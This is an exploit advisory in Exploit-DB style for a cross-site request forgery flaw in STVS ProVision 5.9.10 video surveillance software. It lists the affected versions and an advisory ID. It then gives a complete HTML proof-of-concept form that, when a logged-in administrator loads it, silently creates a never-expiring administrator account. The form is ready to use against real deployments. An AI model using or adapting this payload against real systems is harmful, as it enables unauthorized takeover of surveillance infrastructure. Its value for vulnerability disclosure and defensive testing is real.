STVS ProVision 5.9.10 Exploit, Cross-Site Request Forgery (Add Admin)

# Exploit Title: STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)
# Date: 19.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.stvs.ch

STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)


Vendor: STVS SA
Product web page: http://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2701-6123026)
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5625
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5625.php

19.01.2021

--


<html>
  <body>
    <form action="http://192.168.1.17/users/create" method="POST">
      <input type="hidden" name="login" value="testingus" />
      <input type="hidden" name="password" value="testingus" />
      <input type="hidden" name="confirm_password" value="testingus" />
      <input type="hidden" name="email" value="test@test.tld" />
      <input type="hidden" name="role_id" value="1" />
      <input type="hidden" name="never_expire" value="on" />
      <input type="hidden" name="disabled_acc" value="false" />
      <input type="submit" value="Forge request" />
    </form>
  </body>
</html>

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